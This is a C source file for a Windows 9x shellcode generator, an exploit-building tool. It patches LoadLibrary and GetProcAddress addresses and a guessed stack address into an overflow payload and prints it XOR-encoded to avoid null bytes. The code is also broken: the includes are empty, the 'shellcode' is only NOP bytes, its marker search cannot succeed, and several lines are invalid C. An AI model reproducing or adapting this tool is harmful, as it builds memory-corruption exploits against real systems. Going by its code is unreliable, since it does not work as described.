/* * This just generates Win9x porthshell code (on the fly). * * ------------------------------------------------------------------- * Usage: shellgen [options] * * Options: * -a abs. address (used as base) * -b bufsize * -o offset * ------------------------------------------------------------------- * * An absolute address (to use as a base) must be specified, unless * running from a Win9x machine (their stack pointers should be close * close enough). */ #include #include #include #include #include #include #define ERROR -1 #define NOP 0x90 #define OFFSET 0 #define BUFSIZE 512 char shellcode[] = /* Win9x shellcode */ "\x90\x90\x90\x90\x90\x90\x90"; unsigned long getesp(); void printcode(char *buf, int bufsize); void usage(char *progname, int code); int main(int argc, char **argv) { int opt = 0; register int i, j; char addrstr[32], *buf, *bufptr; int offset = OFFSET, bufsize = BUFSIZE; unsigned long *addrptr, addr1, addr2, stackaddr = ERROR; if (argc > 1) while ((opt = getopt(argc, argv, "a:b:o:h")) != ERROR) switch(opt) { case 'a': /* if not specified, will use getesp() */ stackaddr = atol(optarg); break; case 'b': bufsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 'h': usage(argv[0], 0); case '?': putchar('\n'); usage(argv[0], ERROR); } /* --------------------------------------------- */ if (bufsize < BUFSIZE) { fprintf(stderr, "error: bufsize must be at least %d bytes\n\n", BUFSIZE); exit(ERROR); } memset(addrstr, 0, sizeof(addrstr)); printf("estimated LoadLibrary() address (in hex): "); fgets(addrstr, sizeof(addrstr) - 1, stdin); addr1 = atol(addrstr); memset(addrstr, 0, sizeof(addrstr)); printf("estimated GetProcAddress() address (in hex): "); fgets(addrstr, sizeof(addrstr) - 1, stdin); addr2 = atol(addrstr); /* --------------------------------------------- */ putchar('\n'); printf("LoadLibrary() = 0x%lx, GetProcAddress() = 0x%lx\n", addr1, addr2); printf("bufsize = 0x%x (%d) bytes, offset = 0x%x (%d) bytes\n\n", bufsize, bufsize, offset, offset); if (stackaddr == ERROR) stackaddr = getesp() + offset; else stackaddr += offset; printf("using 0x%lx as stack address\n\n", stackaddr); /* --------------------------------------------- */ bufptr = strstr(shellcode, "\xff\xff\xff\xff"); if (bufptr == NULL) { fprintf(stderr, "error: LoadLibrary() shellcode entry not found\n"); exit(ERROR); } ((long)*bufptr) = ntohl(addr1), bufptr += 4; /* LoadLibrary() */ ((long)*bufptr) = ntohl(addr2); /* GetProcAddress() */ /* ------------------------------------------- */ printf("char shellcode[] =\n\""); /* this will just print it in one long string, becaues we're lazy */ for (bufptr = shellcode; *bufptr; bufptr++) { /* xor the shellcode by 0x1 to avoid nulls */ printf("\x%02x", *bufptr ^ 0x1); } printf("\";"); return 0; } void usage(char *progname, int exitcode) { fprintf(stderr, "Usage: %s [options]\n\n", progname); fprintf(stderr, "options:\n" "-a abs. address (used as base)\n" "-b bufsize\n" "-o offset\n\n"); exit(exitcode); } unsigned long getesp() { __asm__("movl %esp,%eax"); /* store esp in return value (eax) */ }